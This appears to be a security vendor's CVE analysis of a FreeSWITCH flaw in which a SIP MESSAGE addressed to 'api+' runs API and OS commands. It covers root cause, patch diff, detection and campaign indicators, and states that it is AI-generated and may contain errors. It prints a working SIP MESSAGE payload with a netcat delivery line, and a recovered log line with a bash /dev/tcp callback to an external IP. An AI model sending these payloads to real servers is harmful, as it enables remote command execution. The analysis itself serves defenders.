Automated Threat Modeling

FreeSWITCH CVE-2026-116779: SIP MESSAGE to API Command Injection (PoC, Patch, and Detection)

A summary of CVE-2026-116779, a critical FreeSWITCH flaw where an inbound SIP MESSAGE can select the api chat proto and run FreeSWITCH API commands. Covers a public PoC, the upstream patch, and log and process based detection leads.

CVE Analysis

11 min read

Gaurav Sarraf
Gaurav Sarraf

2026-11-05

FreeSWITCH CVE-2026-116779: SIP MESSAGE to API Command Injection (PoC, Patch, and Detection)
Experimental AI-Generated Content

This CVE analysis is an experimental publication that is completely AI-generated. The content may contain errors or inaccuracies and is subject to change as more information becomes available. We are continuously refining our process.

If you have feedback, questions, or notice any errors, please reach out to us.

[email protected]

Introduction

A single inbound SIP MESSAGE, the kind of packet a telecom stack is built to accept, was enough to run operating system commands on FreeSWITCH servers running 1.11.2 and earlier. Inbound chat is enabled by default on both the stock internal and external profiles, and the stock directory ships a passwordless user, so many deployments exposed privileged command execution to the network. The maintainer reports that exploitation has been observed in the wild.

FreeSWITCH is a software defined telecom stack that replaces proprietary switches with software running on commodity hardware. It is maintained by SignalWire, whose founders created the project, and SignalWire states that FreeSWITCH underpins thousands of platforms and handles billions of calls annually. That ubiquity in voice and messaging infrastructure is what makes a message to command execution path worth understanding precisely.

Technical Information

The flaw sits at the boundary between message routing and administrative command execution inside mod_sofia.

When FreeSWITCH receives an inbound SIP MESSAGE, sofia_presence_handle_sip_i_message() takes the To user and splits it on a plus sign. The part before the plus sign is treated as the name of a chat proto, and the message is dispatched to whichever registered chat interface carries that name. The part after the plus sign becomes the address passed to that interface.

The problem is what one of those interfaces does. mod_dptools registers an api chat interface, and that interface passes its address straight to switch_api_execute(). So when the sender writes a To user beginning with api+, they are no longer selecting a messaging delivery route. They are selecting command execution, and whatever follows the plus sign becomes the FreeSWITCH API command that runs. The advisory states the root problem plainly: protos that deliver messages and protos that execute commands were never told apart. That maps to CWE-77 and CWE-78 (improper neutralization of special elements used in commands and OS commands) and CWE-749 (exposed dangerous method or function).

The documented consequences are not limited to the system API. Module loading, call origination, configuration and credential disclosure, full call control, and inline Lua with the full standard library where mod_lua is loaded are all reachable once the api proto can be selected. Commands run with the privileges of the FreeSWITCH process. The advisory does not establish that the process runs as root.

Why authentication is not containment

The only hard prerequisite is that a single inbound MESSAGE is accepted. Chat handling is enabled unless enable-chat=false, and stock conf/vanilla leaves it enabled on both the internal and external profiles. The advisory also states that the inbound ACL does not cover MESSAGE, so the ACL must not be treated as protection for this path.

Where MESSAGE authentication is enforced, any account on that profile can be enough, including an extension, handset, or trunk peer with registration ability. Separately, the stock default directory user ships without password or a1-hash material, and the advisory states that user still authenticates unless allow-empty-password is false for that user. That combination can remove the need for an attacker owned account entirely. The CVSS vector CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H reflects the scored scenario, though individual configurations can still enforce MESSAGE authentication.

Attack flow

Based on the briefing and the public reproduction, an attacker proceeds as follows:

  1. Reach a FreeSWITCH SIP listener (for example UDP 5060) on an affected version where inbound chat is enabled.
  2. Get a single MESSAGE accepted, either because MESSAGE authentication is not enforced, because the passwordless stock default user is retained, or using any valid account on the profile.
  3. Set the To user to begin with api+ followed by a URL encoded FreeSWITCH API command, for example system followed by an OS command.
  4. The server splits the To user on the plus sign, selects the api chat proto, and passes the remainder to switch_api_execute(), running the command with the daemon's privileges.

Proof of Concept

A verifiable, independently reproducible public PoC exists in FreeSWITCH GitHub issue #3078, titled Command Injection via SIP MESSAGE with api+prefix in To header, opened 14 July 2026 by user qwxingren and still open. It provides a working reproduction against FreeSWITCH 1.10.7 and newer.

Prerequisites stated by the reporter:

  • The profile has auth-messages=false (no auth for inbound MESSAGE), or, per a contributor comment, any valid SIP account where auth is enforced.
  • No custom chatplan is configured (default behavior).
  • The target listens on a SIP port, for example 192.168.2.74:5060.

The crafted SIP MESSAGE URL encodes system echo test > /tmp/pwn.txt into the To URI:

MESSAGE sip:api+system%20echo%20test%20%3E%20%2Ftmp%[email protected] SIP/2.0 Via: SIP/2.0/UDP 192.168.2.72:5060;branch=z9hG4bK-attack-exp From: "attacker" To: Call-ID: exploit-20260711-001 CSeq: 1 MESSAGE Content-Length: 0

Delivery is a single UDP send with Netcat:

nc -u 192.168.2.74 5060 < message.txt

The expected result is that echo test > /tmp/pwn.txt executes on the server, creating /tmp/pwn.txt. The issue includes server trace output confirming the dangerous path: the server answers SIP/2.0 202 Accepted and logs [ERR] sofia_presence.c:272 Chat proto [api] from ["system%20echo%20test%20%3E%20/tmp/pwn.txt"], which shows selection of the api chat proto with the attacker controlled command as its payload.

A contributor follow up comment (greenbea, 14 July 2026) notes the issue is reproducible even with message auth enabled: any account with valid SIP credentials can MESSAGE api+... and trigger switch_api_execute, and a chatplan only stops delivery to api if it sets final_delivery=true.

One caution worth repeating: the GitHub repository majidrahimi5020-lgtm/Poc-exploit-for-CVE-2026-116779-FreeSWITCH- contains no exploit code, only CVE metadata and a Telegram handle soliciting contact. It is a lure placeholder, not a usable PoC, and should be disregarded. The credible, reviewable reproduction is issue #3078.

Patch Information

The fix lives in upstream commit 7015f6a7, titled [mod_sofia] Add enable-chat-api-proto to gate the api chat proto. It was merged through PR #3135 on 26 August 2026 and shipped in FreeSWITCH v1.11.3, published 28 August 2026. The advisory GHSA-mg63-h38w-8p9p lists versions up to and including 1.11.2 as vulnerable and 1.11.3 and later as patched. The change adds 38 lines and removes none: nothing was rewritten, a new check now sits in front of a feature that was always reachable before.

A new profile flag (mod_sofia.h)

PFLAG_USE_PORT_FOR_ACL_CHECK, + PFLAG_ENABLE_CHAT_API_PROTO, /* No new flags below this line */

Config parsing (sofia.c, config_sofia())

The new enable-chat-api-proto param is read right after the existing enable-chat handling. The flag is only set when the value is true. Profiles start with no flags set, so any profile that does not set the param has the route closed. The default is secure.

+ } else if (!strcasecmp(var, "enable-chat-api-proto")) { + if (switch_true(val)) { + sofia_set_pflag(profile, PFLAG_ENABLE_CHAT_API_PROTO); + } else { + sofia_clear_pflag(profile, PFLAG_ENABLE_CHAT_API_PROTO); + }

The check itself (sofia_presence.c)

This runs right after the To user is split into proto and the rest (p), before to_addr is built and before anything is dispatched:

+ if (!strcasecmp(proto, "api") && !sofia_test_pflag(profile, PFLAG_ENABLE_CHAT_API_PROTO)) { + /* p is the rest of the To user, still percent-encoded and bounded by the proto buffer. */ + switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, + "Profile [%s] rejected a MESSAGE from %s@%s (%s:%d) addressed to the 'api' chat proto [%s]. " + "Set enable-chat-api-proto=true on the profile to permit it.\n", + profile->name, switch_str_nil(from_user), switch_str_nil(from_host), network_ip, network_port, p); + + nua_respond(nh, SIP_403_FORBIDDEN, NUTAG_WITH_THIS_MSG(de->data->e_msg), TAG_END()); + + if (full_from) { + su_free(nua_handle_get_home(nh), full_from); + } + + /* Return rather than goto end: the end label answers 200/202, which would be a + second response on this transaction. */ + return; + }

Four details in this hunk matter:

  • The comparison ignores case (strcasecmp), mirroring the chat interface registry that is built with switch_core_hash_init_nocase(). A case sensitive check would have been an easy bypass: API+... or Api+... would pass a check against api but still match the api interface in the registry.
  • The request is refused, not quietly dropped. The sender gets a 403 Forbidden, and a WARNING log line records the profile, the From user and host, the source IP and port, and the requested command (still percent encoded). That gives defenders a clear sign of attempts against patched systems.
  • The function returns early instead of jumping to the usual end: label, because that path sends a 200/202 that would be a second response on a transaction that already received its 403. The full_from buffer is freed before returning so the early exit does not leak memory.
  • Nothing else changes. Messages with no proto selector, or naming a different chat proto, are routed exactly as before. The fix closes only the command execution path.

Shipped configuration

The new param is added to the vanilla SIP profiles and the mod_sofia sofia.conf.xml sample, but commented out, so a stock install stays closed. In the patched conf/vanilla/sip_profiles/internal.xml:

<!-- lets an inbound MESSAGE to api+<command> run FreeSWITCH API commands, so enable only for trusted peers --> <!-- <param name="enable-chat-api-proto" value="true"/> -->

Escaping or filtering the command text would not have worked, because the system API is only one target among many. The fix treats the problem as missing authorization on a dangerous function (CWE-749) and removes access to it. That is also why auth-messages and disable_system_api_commands do not close the path on their own: neither one stops the api proto from being selected. The v1.11.3 notes list two more hardening items beside this fix: the same gate for the Verto endpoint ([mod_verto] Add enable-chat-api-proto to gate the api chat proto) and [mod_sofia] Bound the To-user split in the inbound MESSAGE handler.

Detection Methods

No vendor issued Sigma, YARA, Snort, or Suricata rule exists for CVE-2026-116779, and SignalWire has not published official IoCs. Detection still works because the bug leaves a trail at four points: the SIP request on the wire, the FreeSWITCH log, the process tree, and the persistence attackers leave on the host.

What the malicious request looks like

The network signature is a SIP MESSAGE whose Request-URI or To user starts with api+. Whatever follows the plus sign is the FreeSWITCH API command. Three details affect signature writing:

  • Match case insensitively, since API+ or Api+ reaches the same handler.
  • Expect URL encoding. In observed log lines the command after api+ is percent encoded (%20 for spaces), so signatures looking for plain text shell keywords will miss it. Match on the api+ selector itself.
  • TLS hides it. SIP over TLS profiles need log based detection instead of payload matching.

The FusionPBX forum administrator posted a stopgap iptables string match for the default SIP port range. It is a blocking rule, but it encodes the same detection logic you would use in an IDS or capture filter:

-A INPUT -p udp -m udp --dport 5060:5091 -m string --string "api+" --algo bm --to 65535 --icase -j DROP -A INPUT -p tcp -m tcp --dport 5060:5091 -m string --string "api+" --algo bm --to 65535 --icase -j DROP

A forum member noted it only works if placed above the RELATED/ESTABLISHED rules, does not cover TLS, and can catch legitimate messages containing that text.

Log hunting on vulnerable (1.11.2 and earlier) servers

Unpatched FreeSWITCH logs inbound chat before dispatching it. On a compromised FusionPBX box, the forum administrator recovered this exploitation line:

Processing text message default->api+system%20command%20-v%20bash%3E/dev/null&&timeout%205%20bash%20-c%20'exec%203%3C%3E/dev/tcp/77.73.70.190/33375;exec%203%3E&-'%202%3E/dev/

This one line shows three things to hunt for: the sender is default (the passwordless stock directory user that authenticates unless allow-empty-password is false), the recipient starts with api+ followed by system, and the command checks connectivity with a bash /dev/tcp callback to an external IP and port. Search FreeSWITCH logs for Processing text message lines where the destination contains api+. Go back as far as retention allows, not just to the 28 October disclosure. Attacker cron jobs were reported deleting logs, so missing or truncated logs are themselves a warning sign.

Detecting attempts on patched (1.11.3 and later) servers

The fix gives defenders a built in alert. When an inbound MESSAGE selects the api proto on a profile where enable-chat-api-proto is off (the default), FreeSWITCH replies 403 and logs the source and the requested command. Send those log lines to your SIEM and alert on them. Each is a blocked attempt that identifies the source and shows what was attempted. On the network side, a burst of 403 Forbidden replies to MESSAGE requests is a matching sign. Watch configuration management too: if anyone sets enable-chat-api-proto to true, the path reopens.

Process and host signals after exploitation

Successful exploitation runs commands as the FreeSWITCH service user. Look for child processes spawned by FreeSWITCH or unfamiliar processes owned by its account, which rarely launches bash, sh, curl, or cat. Attackers were observed reading the FreeSWITCH XML directory files to collect credentials and downloading files with curl. EDR or auditd rules on process execution by that user are the best catch. One community member shared an AppArmor profile that denies and audits any program FreeSWITCH tries to execute:

/usr/bin/freeswitch { allow all, audit deny /** x, }

They provided a test command, aa-exec -p /usr/bin/freeswitch -- /bin/sh -c '/usr/bin/touch /tmp/apparmor-test', which should fail with Permission denied. They could not get the journal notification working and only tested it outside production, so expect tuning before relying on it as an alert source.

Community reported campaign artifacts

These come from forum operators, not SignalWire, and should be treated as leads, not confirmed IoCs. The campaign installed a cryptominer with cron based persistence:

  • Cron: check the web/FreeSWITCH user crontab (on FusionPBX, crontab -u www-data -l) for an every minute entry running /var/tmp/.khp.
  • Files in /var/tmp: .khp, .khp_ts, .rguard, ksmd, idle, javab.
  • Services: a javab.service systemd unit or an /etc/init.d/javab script.
  • Behaviour: the script kills rival miners and deletes artifacts from other miner families, so a missing competing miner does not mean the host is clean. Victims reported high CPU and crashes.
  • Network: callback IP 77.73.70.190 (port 33375). The posted script hex encodes download servers which decode to chatgpt[.]logltech[.]store, shdesasdd[.]logltech[.]workers[.]dev, ai[.]apachenginx[.]ru, 87.229.64.49, and 217.151.99.216, each with a path ending in a ksmd download. The payload changes over time.

Checking exposure and confirming a fix

A read only exposure check with fs_cli:

  • fs_cli -x 'version': 1.11.2 or earlier is vulnerable.
  • fs_cli -x 'sofia status': lists profiles; check each profile XML for enable-chat, and if absent or not false, the profile accepts chat.
  • fs_cli -x 'module_exists mod_dptools' and fs_cli -x 'module_exists mod_lua': show whether the api chat interface and the Lua route are loaded.
  • Search the directory for users with no password and no a1-hash.

To confirm a fix, send a harmless api+version MESSAGE from an authorised test host to a server you own and verify it is not executed. On 1.11.3 and later it should get a 403 and produce the log entry described above.

Affected Systems and Versions

  • Affected: FreeSWITCH versions up to and including 1.11.2. The public PoC reproduces against 1.10.7 and newer.
  • Fixed: FreeSWITCH 1.11.3 (released 28 August 2026) and later.
  • Vulnerable configurations: profiles where inbound chat is enabled (stock conf/vanilla leaves enable-chat enabled on both internal and external profiles). The inbound ACL does not cover MESSAGE. Deployments retaining the stock default directory user without password or a1-hash (and without allow-empty-password set false) can be exploited without an attacker owned account. Where mod_lua is loaded, inline Lua provides an additional execution sink.

Vendor Security History

FreeSWITCH has prior SIP MESSAGE related advisories, and telling them apart matters because an older fix does not remediate this newer one:

  • CVE-2021-37624 (published 25 October 2021): high severity; SIP MESSAGE requests are not authenticated by default, allowing spam and spoofing. Affected through 1.10.6, fixed in 1.10.7.
  • CVE-2026-49841 (published 3 June 2026): critical, 9.8; mod_verto HTTP POST body handling can overflow a fixed buffer. RCE described as plausible but not demonstrated. Affected through 1.11.0, fixed in 1.11.1.
  • CVE-2026-116779 (this issue): critical, 9.8; SIP MESSAGE selects command executing API functionality. Affected through 1.11.2, fixed in 1.11.3.

The 2021 case concerns authentication of messaging, whereas the current case concerns messaging reaching command execution. Their different fixed versions show why the older authentication fix must not be mistaken for remediation of the newer API dispatch vulnerability.

References

Detect & fix
what others miss

Works with
  • GitHub
  • GitLab
  • Bitbucket
  • Azure DevOps Services
  • Gerrit
  • CVS
  • Jira
  • Linear
  • Slack
  • Security Compass
Explore integrations
Security magnifying glass visualization